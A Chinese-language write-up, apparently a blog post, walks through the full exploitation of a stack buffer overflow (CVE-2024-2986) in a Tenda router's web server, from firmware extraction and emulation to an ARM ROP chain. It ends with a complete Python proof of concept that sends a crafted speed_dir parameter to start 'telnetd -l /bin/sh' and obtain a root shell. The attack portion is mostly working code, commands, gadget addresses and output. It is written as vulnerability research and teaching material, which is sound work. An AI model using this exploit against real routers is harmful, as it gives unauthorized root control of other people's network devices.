CNVD 最近公开了漏洞 CNVD-2025-31165 (对应 CVE-2024-2986),其描述如下:
Tenda FH1202是腾达品牌推出的一款双频无线路由器,专为大户型家庭、小型办公室或商务休闲区域设计,旨在提供稳定的无线网络覆盖和高速传输。
Tenda FH1202存在堆栈缓冲区溢出漏洞,该漏洞源于/goform/SetSpeedWan文件的formSetSpeedWan方法的speed_dir参数未能正确验证输入数据的长度大小,攻击者可利用该漏洞在系统上执行任意代码或者导致拒绝服务。
相关的反编译代码如下,问题出在对用户输入的speed_dir参数未做长度检查便直接用于sprintf:
int __fastcall formSetSpeedWan(_DWORD *a1)
{
_DWORD nptr[8]; // [sp+10h] [bp-5Ch] BYREF
_DWORD s[8]; // [sp+30h] [bp-3Ch] BYREF
void *v5; // [sp+50h] [bp-1Ch]
char *nptr_1; // [sp+54h] [bp-18h]
char *nptr_2; // [sp+58h] [bp-14h]
int v8; // [sp+5Ch] [bp-10h]
memset(s, 0, sizeof(s));
memset(nptr, 0, sizeof(nptr));
v8 = 0;
nptr_2 = (char *)sub_2BA8C((int)a1, (int)"speed_dir", (int)"0");
nptr_1 = (char *)sub_2BA8C((int)a1, (int)"ucloud_enable", (int)"0");
...
...
...
sprintf((char *)s, "{\"errorCode\":%d,\"speed_dir\":%s}", v8, nptr_2);
return sub_9CCBC(a1, (const char *)s);
}
环境模拟
软件版本: AC15_V15.03.05.19
首先使用 binwalk 分析固件文件,确认其包含 Squashfs 文件系统。
binwalk US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608 0x1C9E98 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03
执行 binwalk -e -1 进行解压。
binwalk -e -1 US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608 0x1C9E98 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03
根据 ./etc_ro/init.d/rcS 脚本创建必要的环境目录。
mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a
mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir /var/run
创建 br0 虚拟网卡。
ip link add name br0 type bridge
ip link set br0 up
ip addr add 192.168.3.3/24 dev br0
根据逆向分析 libCfm.so 的 GetValue 函数,程序会通过一个 Unix Domain Socket 通信。我们需要模拟这个服务。通信的数据结构如下:
00000000 struct CMDINFO // sizeof=0x7E0
00000000 { // XREF: CommitUrlCfm/r
00000000 // CommitUrlCfm/r ...
00000000 int cmd;
00000004 char name[512]; // XREF: CommitUrlCfm+70/o
00000004 // CommitUrlCfm+B4/o ...
00000204 char value[1500]; // XREF: GetValue+104/w
00000204 // GetUrlValue+100/w ...
000007E0 };
编写一个 Python 脚本 uds_server.py 来创建并监听 /var/cfm_socket:
import socket
import os
import time
import configparser
import struct
import hexdump
# --- 配置 ---
# SOCKET_PATH = '/var/cfm_socket'
# SOCKET_PATH = '/tmp/cfm_socket'
SOCKET_PATH = '/kctf/tenda/tendaac15/var/cfm_socket'
BUFFER_SIZE = 2016 # 定义一次接收的最大字节数
config = configparser.RawConfigParser()
config.read("default.ini", encoding='utf-8')
def parse_cmdinfo(data):
# 检查数据长度
if len(data) != 2016:
raise ValueError("数据包大小不正确,应为2016字节")
# 使用struct.unpack解析(格式:小端序整数 + 512字节字符串 + 1500字节字符串)
cmd, name_bytes, value_bytes = struct.unpack('<i512s1500s', data)
# 找到第一个0x00的位置并截断
name_end = name_bytes.find(b'\x00')
if name_end != -1:
name_bytes = name_bytes[:name_end]
value_end = value_bytes.find(b'\x00')
if value_end != -1:
value_bytes = value_bytes[:value_end]
# 处理字符串:去除可能的null填充并解码(假设C发送的是ASCII字符串)
name = name_bytes.rstrip(b'\x00').decode('ascii', errors='ignore')
value = value_bytes.rstrip(b'\x00').decode('ascii', errors='ignore')
return cmd, name, value
def pack_cmdinfo(cmd, name, value):
"""
将cmd、name、value打包成2016字节的二进制数据
:param cmd: int, 命令编号
:param name: str, 名称(最多511字符,留1位给null)
:param value: str, 值(最多1499字符,留1位给null)
:return: bytes, 打包后的二进制数据
"""
# 1. 转换为字节(假设C使用ASCII编码,实际可能是UTF-8或其他)
name_bytes = name.encode('ascii')[:511] # 截断超长部分
value_bytes = value.encode('ascii')[:1499]
# 2. 填充到固定大小(用null字节填充)
name_padded = name_bytes + b'\x00' * (512 - len(name_bytes))
value_padded = value_bytes + b'\x00' * (1500 - len(value_bytes))
# 3. 打包(小端序,与解析时一致)
# 格式:i (4字节整数) + 512s + 1500s
packed = struct.pack('<i512s1500s', cmd, name_padded, value_padded)
return packed
# --- 服务器逻辑 ---
def run_uds_server():
# 1. 清理:如果套接字文件已存在,则删除它
try:
if os.path.exists(SOCKET_PATH):
os.remove(SOCKET_PATH)
except OSError as e:
print(f"{e}")
return
# 2. 创建套接字
server_socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
# 3. 绑定和监听
server_socket.bind(SOCKET_PATH)
server_socket.listen(5) # 允许5个挂起连接
# 4. 确保权限(可选,确保其他程序可以连接)
os.chmod(SOCKET_PATH, 0o666)
while True:
# 5. 接受新连接
conn, addr = server_socket.accept()
try:
while True:
# 6. 接收数据
received_data = conn.recv(BUFFER_SIZE)
if received_data:
# 打印接收到的数据
# hexdump.hexdump(received_data)
# print('\n')
cmd, name, value = parse_cmdinfo(received_data)
print(f"received_data-> cmd: {cmd} name: {name} value: {value}")
if value != "":
config.set('DEFAULT', name, value)
cmd = cmd + 1
value = config['DEFAULT'].get(name, '')
response_data = pack_cmdinfo(cmd, name, value)
print(f"response_data-> cmd: {cmd} name: {name} value: {value}")
# hexdump.hexdump(response_data)
# print('\n')
conn.sendall(response_data)
else:
time.sleep(1)
# print("No data received.")
except Exception as e:
print(f"{e}")
finally:
# 8. 关闭连接
conn.close()
except KeyboardInterrupt:
print("Ctrl+C...")
except Exception as e:
print(f"{e}")
finally:
# 9. 最终清理
# 将修改写入配置文件
with open('default.ini', 'w', encoding='utf-8') as configfile:
config.write(configfile)
server_socket.close()
if os.path.exists(SOCKET_PATH):
os.remove(SOCKET_PATH)
if __name__ == "__main__":
# 由于 /var 目录通常需要 root 权限,您需要使用 sudo 运行此脚本
run_uds_server()
default.ini 由 /webroot/default.cfg 转换而来。需要注意的是,客户端代码使用了长连接方式,断开后需要重启 uds_server.py。
此外,我们还需要模拟固件中的 bcm_nvram_* 系列函数:
001114D0 bcm_nvram_set .dynsym
001114EC bcm_nvram_match .dynsym
00111540 bcm_nvram_get .dynsym
00111660 bcm_nvram_commit .dynsym
编写一个 hook_nvram.c 文件来 Hook 这些 NVRAM 函数,将它们重定向到操作本地配置文件:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// #include <ctype.h>
#include <stdbool.h>
#include <errno.h>
// 假设配置文件路径
#define ROUTE_CONFIG_PATH "/tmp/nvram_default.cfg"
#define MAX_LINE_LENGTH 256
#define MAX_KEY_LENGTH 64
#define MAX_VALUE_LENGTH 128
#define isspace(c) my_isspace(c)
int my_isspace(int c) {
// 标准 C 定义的空白字符:空格、制表符、换行、回车、换页、垂直制表符
return (c == ' ' ||
c == '\t' ||
c == '\n' ||
c == '\r' ||
c == '\f' ||
c == '\v');
}
int bcm_nvram_set(const char *key, const char *value){
FILE *fp_read, *fp_write;
char line[MAX_LINE_LENGTH];
char config_key[MAX_KEY_LENGTH];
char config_value[MAX_VALUE_LENGTH];
char temp_file[] = "/tmp/nvram.ini.tmp";
int found = 0;
int result = 0;
// 参数检查
if (!key || strlen(key) == 0 || !value) {
fprintf(stderr, "Error: Invalid key or value parameter\n");
return 1;
}
// 验证key不包含等号或换行符
if (strchr(key, '=') != NULL || strchr(key, '\n') != NULL) {
fprintf(stderr, "Error: Key contains invalid characters\n");
return 1;
}
// 验证value不包含换行符
if (strchr(value, '\n') != NULL) {
fprintf(stderr, "Error: Value contains newline character\n");
return 1;
}
// 打开原配置文件用于读取
fp_read = fopen(ROUTE_CONFIG_PATH, "r");
// 创建临时文件用于写入
fp_write = fopen(temp_file, "w");
if (fp_write == NULL) {
fprintf(stderr, "Error: Cannot create temp file: %s\n", strerror(errno));
if (fp_read) fclose(fp_read);
return 1;
}
// 如果原文件存在,逐行处理
if (fp_read != NULL) {
while (fgets(line, sizeof(line), fp_read) != NULL) {
char *trimmed_line = line;
bool is_comment_or_empty = false;
// 移除换行符
line[strcspn(line, "\n")] = '\0';
// 跳过空行和注释行(以#开头)
if (line[0] == '\0' || line[0] == '#') {
is_comment_or_empty = true;
}
// 移除行首空白字符
while (isspace((unsigned char)*trimmed_line)) {
trimmed_line++;
}
// 跳过只有空白字符的行
if (*trimmed_line == '\0') {
is_comment_or_empty = true;
}
// 如果是注释或空行,直接写入临时文件
if (is_comment_or_empty) {
fprintf(fp_write, "%s\n", line);
continue;
}
// 解析 key=value 格式
if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) >= 1) {
// 去除键名可能的尾部空白
char *trimmed_key = config_key + strlen(config_key) - 1;
while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
*trimmed_key = '\0';
trimmed_key--;
}
// 检查是否匹配请求的键
if (strcmp(config_key, key) == 0) {
// 找到匹配的键,写入新的值
fprintf(fp_write, "%s=%s\n", key, value);
found = 1;
} else {
// 不是我们要修改的键,原样写入
fprintf(fp_write, "%s\n", line);
}
} else {
// 格式错误的行,原样写入
fprintf(fp_write, "%s\n", line);
}
}
fclose(fp_read);
}
// 如果没找到键,在文件末尾添加
if (!found) {
fprintf(fp_write, "%s=%s\n", key, value);
}
// 关闭临时文件
fclose(fp_write);
// 用临时文件替换原文件
if (rename(temp_file, ROUTE_CONFIG_PATH) != 0) {
fprintf(stderr, "Error: Cannot replace config file: %s\n", strerror(errno));
// 尝试删除临时文件
remove(temp_file);
result = 1;
}
printf("[DEBUG] Setting config: %s = %s\n", key, value);
return result;
}
char *bcm_nvram_get(const char *key){
FILE *fp;
char line[MAX_LINE_LENGTH];
char config_key[MAX_KEY_LENGTH];
char config_value[MAX_VALUE_LENGTH];
char *result = NULL;
int found = 0;
// 参数检查
if (!key || strlen(key) == 0) {
fprintf(stderr, "Error: Invalid key parameter\n");
return NULL;
}
// 打开配置文件
fp = fopen(ROUTE_CONFIG_PATH, "r");
if (fp == NULL) {
fprintf(stderr, "Error: Cannot open config file %s: %s\n", ROUTE_CONFIG_PATH, strerror(errno));
return NULL;
}
// 逐行读取配置文件
while (fgets(line, sizeof(line), fp) != NULL) {
// 移除换行符
line[strcspn(line, "\n")] = '\0';
// 跳过空行和注释
if (line[0] == '\0' || line[0] == '#') {
continue;
}
// 移除行首空白字符
char *trimmed_line = line;
while (isspace((unsigned char)*trimmed_line)) {
trimmed_line++;
}
// 跳过空行(只有空白字符的行)
if (*trimmed_line == '\0') {
continue;
}
// 解析 key=value 格式
if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
// 去除键名可能的尾部空白
char *trimmed_key = config_key + strlen(config_key) - 1;
while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
*trimmed_key = '\0';
trimmed_key--;
}
// 去除键值可能的首部空白
char *trimmed_value = config_value;
while (isspace((unsigned char)*trimmed_value)) {
trimmed_value++;
}
// 去除键值可能的尾部空白
char *end_value = trimmed_value + strlen(trimmed_value) - 1;
while (end_value > trimmed_value && isspace((unsigned char)*end_value)) {
*end_value = '\0';
end_value--;
}
// 检查是否匹配请求的键
if (strcmp(config_key, key) == 0) {
// 分配内存并复制值
result = malloc(strlen(trimmed_value) + 1);
if (result) {
strcpy(result, trimmed_value);
found = 1;
} else {
fprintf(stderr, "Error: Memory allocation failed\n");
}
break; // 找到配置项,退出循环
}
}
}
fclose(fp);
if (result) {
printf("[DEBUG] Getting config: %s = %s\n", key, result);
} else {
result = "";
printf("[DEBUG] Config not found: %s\n", key);
}
if (!found) {
// 不打印警告,让调用者决定是否记录
result = "";
}
return result;
}
bool bcm_nvram_match(const char *key, const char *value){
bool result = false;
char *config_value = bcm_nvram_get(key);
if (config_value && value) {
result = (strcmp(config_value, value) == 0);
}
printf("[DEBUG] Match config: %s = %s, result: %s\n",
key, value, result ? "true" : "false");
if (config_value) {
free(config_value);
}
return result;
}
int bcm_nvram_commit(void){
#ifdef __linux__
sync();
#endif
printf("[DEBUG] Save config\n");
return 0;
}
int bcm_nvram_unset(const char *key){
FILE *fp_read, *fp_write;
char line[MAX_LINE_LENGTH];
char config_key[MAX_KEY_LENGTH];
char config_value[MAX_VALUE_LENGTH];
char temp_file[] = "/tmp/route.cfg.tmp";
int found = 0;
int result = 0;
// 参数检查
if (!key || strlen(key) == 0) {
fprintf(stderr, "Error: Invalid key parameter\n");
return 1;
}
// 打开原配置文件用于读取
fp_read = fopen(ROUTE_CONFIG_PATH, "r");
if (fp_read == NULL) {
// 文件不存在,不需要删除
printf("[DEBUG] Unset config: %s (file not exists)\n", key);
return 0;
}
// 创建临时文件用于写入
fp_write = fopen(temp_file, "w");
if (fp_write == NULL) {
fprintf(stderr, "Error: Cannot create temp file: %s\n", strerror(errno));
fclose(fp_read);
return 1;
}
// 逐行读取原文件
while (fgets(line, sizeof(line), fp_read) != NULL) {
char *trimmed_line = line;
bool is_comment_or_empty = false;
// 移除换行符
line[strcspn(line, "\n")] = '\0';
// 跳过空行和注释行(以#开头)
if (line[0] == '\0' || line[0] == '#') {
is_comment_or_empty = true;
}
// 移除行首空白字符
while (isspace((unsigned char)*trimmed_line)) {
trimmed_line++;
}
// 跳过只有空白字符的行
if (*trimmed_line == '\0') {
is_comment_or_empty = true;
}
// 如果是注释或空行,直接写入临时文件
if (is_comment_or_empty) {
fprintf(fp_write, "%s\n", line);
continue;
}
// 解析 key=value 格式
if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
// 去除键名可能的尾部空白
char *trimmed_key = config_key + strlen(config_key) - 1;
while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
*trimmed_key = '\0';
trimmed_key--;
}
// 检查是否匹配请求的键
if (strcmp(config_key, key) == 0) {
// 找到匹配的键,跳过不写入(即删除)
found = 1;
continue;
} else {
// 不是我们要删除的键,原样写入
fprintf(fp_write, "%s\n", line);
}
} else {
// 格式错误的行,原样写入
fprintf(fp_write, "%s\n", line);
}
}
// 关闭文件
fclose(fp_read);
fclose(fp_write);
// 用临时文件替换原文件
if (rename(temp_file, ROUTE_CONFIG_PATH) != 0) {
fprintf(stderr, "Error: Cannot replace config file: %s\n", strerror(errno));
// 尝试删除临时文件
remove(temp_file);
result = 1;
}
printf("[DEBUG] Unset config: %s %s\n", key, found ? "deleted" : "not found");
return result;
}
/tmp/nvram_default.cfg 由 /webroot/nvram_default.cfg 复制而来。
接下来查看 httpd 使用的编译环境,确认其为 ARM 架构,并使用 uClibc 作为 C 标准库。
strings bin/httpd | grep "GCC"
GCC_3.5
GCC: (GNU) 3.3.2 20031005 (Debian prerelease)
GCC: (Buildroot 2012.02) 4.5.3
根据 GitHub 上的 buildroot 项目,编译生成支持 ARMv7 + uClibc + soft-float 的交叉编译工具链,然后编译我们的 Hook 库。
编译命令如下:
./buildroot/output/host/bin/arm-linux-gcc -shared -fPIC hook_nvram.c -o hook_nvram.so -ldl
生成的 hook_nvram.so 是一个 ARM 动态库。
环境搭建完成后,启动模拟服务:
- 运行
python ./uds_server.py 创建 Unix Domain Socket。
- 使用
sudo chroot . bin/sh 进入固件目录环境。
- 通过
LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd 启动 HTTP 服务。
python ./uds_server.py
~ # LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd
init_core_dump 1816: rlim_cur = 0, rlim_max = 0
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
Yes:
****** WeLoveLinux******
Welcome to ...
create socket fail -1
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 192.168.3.3 port = 80
webs:Listening for HTTP requests at address 192.168.3.3
访问 http://192.168.3.3/login.html,可以看到路由器的登录页面。

漏洞利用
在开始利用之前,先查看 httpd 程序启用的安全防护措施。
checksec ./bin/httpd
'/home/chialin/kctf/tenda/tendaac15/bin/httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
可以看到,程序没有开启栈保护(Canary)和地址随机化(PIE),这为利用堆栈缓冲区溢出漏洞提供了便利,但开启了NX(不可执行),意味着我们不能直接在栈上执行代码,需要借助ROP技术。
使用调试模式启动 httpd,并在漏洞触发点 0x0061998 的 BL sprintf 处设置断点。gdb.txt 加载脚本内容如下:
file /kctf/tenda/tendaac15/bin/httpd
set sysroot /kctf/tenda/tendaac15
target remote 127.0.0.1:1234
b *0x00061998
启动流程:
- 重启
python ./uds_server.py。
- 运行
sudo chroot . qemu-arm-static -g 1234 -E LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd 以调试模式启动。
- 运行
gdb-multiarch -x gdb.txt 连接调试器。
程序会停在 _start 入口处。

使用 cyclic 生成测试字符串,并通过 Python POC 脚本发送 HTTP 请求。
pwndbg> cyclic 0xff
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaa
程序成功在 sprintf@plt 函数处中断。

查看目的地址 0x407ff9f8 在溢出发生前的栈数据。

执行 sprintf 后的栈数据如下,可以看到测试字符串已经覆盖了栈上的内容。

单步运行到 formSetSpeedWan 函数结束处。

可以看到,最终寄存器 R11 的值 0x407ffa34 指向的数据 0x61616a61 ('ajaa') 被弹出了栈。这个值控制了 PC 寄存器。通过计算偏移,我们找到控制 PC 的偏移是 35。
pwndbg> cyclic -l ajaa
Finding cyclic pattern of 4 bytes: b'ajaa' (hex: 0x616a6161)
Found at offset 35
我们的目标是执行 system 函数来启动一个反向 shell 或 telnet 服务。但这需要控制 R0 寄存器指向命令字符串的地址,并且 system 函数返回后(POP {R4,PC}),还需要一个有效的地址弹入 PC 以保持程序不崩溃。
更好的方法是寻找一个形如 BL system 的 gadget,它会自动将返回地址设置到 LR。我们在 libcommon.so 中找到了 doSystemCmd 函数,它内部调用了 system。其调用点 flush_dns_cache 附近的代码非常适合用作ROP链的一部分:
.text:00009A4C MOV R0, R3
.text:00009A50 BL j_doSystemCmd
.text:00009A54 POP {R3,R4,R11,PC}
这段代码非常完美:它将 R3 的值赋给 R0(作为 system 的参数),然后调用 doSystemCmd,最后弹出栈上的值到 R3, R4, R11, PC。这意味着我们可以通过栈来完全控制 R3(即命令地址)和函数返回后的执行流(PC)。
我们使用 ROPgadget 在 libcommon.so 中寻找设置 R3 的指令。
ROPgadget --binary ./lib/libcommon.so --only "pop"
Gadgets information
============================================================
0x00003e58 : pop {fp, pc}
0x00015be4 : pop {r1, pc}
0x00009a54 : pop {r3, r4, fp, pc}
0x00015c20 : pop {r3, r4, r5, r6, r7, pc}
0x00003454 : pop {r4, fp, pc}
0x00003350 : pop {r4, pc}
0x00004570 : pop {r4, r5, fp, pc}
0x00006cf8 : pop {r4, r5, r6, fp, pc}
0x000160c0 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0000ab98 : pop {r4, r5, r6, r7, r8, sl, fp, pc}
Unique gadgets found: 10
我们选择 0x00015c20 : pop {r3, r4, r5, r6, r7, pc} 作为设置 R3 的 gadget。
结合 vmmap 和 info sharedlibrary 的信息,计算得到:
libcommon.so 的基址为 0x40854000。
libc.so.0 的基址为 0x409EB000。

因此,关键地址计算如下:
pop_r3_gadget = 0x40854000 + 0x00015c20 = 0x40869C20
doSystemCmd 调用点 = 0x40854000 + 0x00009A4C = 0x4085DA4C
libc.so.0 的 _exit 函数地址 = 0x409EB000 + 0x00000904 = 0x40A00904
我们需要将命令字符串 telnetd -l /bin/sh 也放置在栈上可控的位置,例如 0x407ffa14。
最终,精心构造的栈布局如下所示:

另外,为了使 telnetd 服务能正常工作,还需要在模拟环境中挂载 devpts 文件系统,否则会提示 telnetd: can't find free pty。
sudo mount -o bind /dev ./dev/
sudo mount -t devpts devpts ./dev/pts
运行最终的漏洞利用 POC 脚本后,可以查看进程信息,确认 telnetd 服务已启动。
ps -aux | grep telnetd
root 5799 0.0 0.0 4404548 5872 ? Ssl 00:51 0:00 /usr/libexec/qemu-binfmt/arm-binfmt-P /usr/sbin/telnetd telnetd -l /bin/sh
使用 telnet 连接路由器,成功获得 root 权限的 shell。
telnet 192.168.3.3
Trying 192.168.3.3...
Connected to 192.168.3.3.
Escape character is '^]'.
~ # ls -la
total 64
drwxr-xr-x 15 1000 1000 4096 Jan 2 16:45 .
drwxr-xr-x 15 1000 1000 4096 Jan 2 16:45 ..
-rw------- 1 1000 1000 2819 Jan 2 16:45 .gdb_history
drwxr-xr-x 2 1000 1000 4096 Dec 26 14:28 bin
drwxr-xr-x 2 1000 1000 4096 Dec 26 06:48 cfg
drwxr-xr-x 15 root root 3860 Jan 1 15:29 dev
lrwxrwxrwx 1 1000 1000 8 Dec 26 06:48 etc -> /var/etc
drwxr-xr-x 8 1000 1000 4096 Dec 26 06:48 etc_ro
-rw-r--r-- 1 1000 1000 154 Jan 1 15:34 gdb.txt
lrwxrwxrwx 1 1000 1000 9 Dec 26 06:48 home -> /var/home
lrwxrwxrwx 1 1000 1000 11 Dec 26 06:48 init -> bin/busybox
drwxr-xr-x 3 1000 1000 4096 Dec 26 06:48 lib
drwxr-xr-x 2 1000 1000 4096 Dec 26 06:48 mnt
drwxr-xr-x 3 1000 1000 4096 Dec 26 06:48 proc
lrwxrwxrwx 1 1000 1000 9 Dec 26 06:48 root -> /var/root
drwxr-xr-x 2 1000 1000 4096 Dec 26 06:48 sbin
drwxr-xr-x 2 1000 1000 4096 Dec 26 06:48 sys
drwxr-xr-x 2 1000 1000 4096 Dec 30 06:27 tmp
drwxr-xr-x 6 1000 1000 4096 Dec 26 06:48 usr
drwxr-xr-x 8 1000 1000 4096 Jan 2 16:45 var
lrwxrwxrwx 1 1000 1000 11 Dec 26 06:48 webroot -> var/webroot
drwxr-xr-x 8 1000 1000 4096 Dec 26 06:48 webroot_ro
完整的漏洞利用 POC 代码如下:
import requests
from pwn import *
def execute_overflow(session, url):
# 准备恶意请求参数,构造ROP链
telnet = b'aaatelnetd -l /bin/sh|aagaaahaaaiaa'
pop_r3 = 0x40869C20
args = 0x407ffa14
doSystemCmd = 0x4085DA4C
exit = 0x40A00904
end = 0x00000000
speed_dir = telnet + p32(pop_r3) + p32(args) * 5 + p32(doSystemCmd) + p32(args) * 3 + p32(exit) + p32(end)
attack_params = {
# "speed_dir": cyclic(0xFF) # 用于计算偏移的测试数据
"speed_dir": speed_dir
}
# 发送恶意请求
server_response = session.get(url, params=attack_params)
# 显示服务器响应
print("HTTP Status:", server_response.status_code)
print("Response Content:", server_response.text)
def execute_login(session, login_url, username, password):
data = {
"username": username,
"password": password
}
server_response = session.post(login_url, data=data)
# 显示服务器响应
print("HTTP Status:", server_response.status_code)
# print("Response Content:", server_response.text)
print("Response Cookies:", session.cookies.get('password'))
if __name__ == "__main__":
session = requests.Session()
login_url = "http://192.168.3.3/login/Auth"
username = "admin"
password = "4fc0296a51e6d90c794c91951886dc2b"
execute_login(session, login_url, username, password)
# 目标漏洞端点
target_url = "http://192.168.3.3/goform/SetSpeedWan"
# 执行攻击
execute_overflow(session, target_url)
总结与思考
本次对 Tenda AC15 路由器固件漏洞的分析,展示了一个典型的因sprintf函数使用不当导致的堆栈缓冲区溢出漏洞的完整挖掘与利用过程。由于目标程序开启了NX保护,我们通过精心构造ROP链,成功绕过了防护,实现了任意命令执行。
整个流程从固件解包、模拟环境搭建,到漏洞定位、偏移计算,再到利用ROPgadget进行ARM架构下的ROP链构造,每一步都涉及对逆向工程和二进制安全的深入理解。对于嵌入式设备安全研究人员而言,掌握此类从分析到利用的完整技能链至关重要。同时,这也警示开发者在处理用户输入,尤其是在C/C++等语言中使用strcpy、sprintf等不安全的字符串函数时,必须进行严格的边界检查。
想要深入了解二进制安全、逆向工程和漏洞挖掘的更多技术细节,可以关注云栈社区的相关板块,与更多安全爱好者交流学习。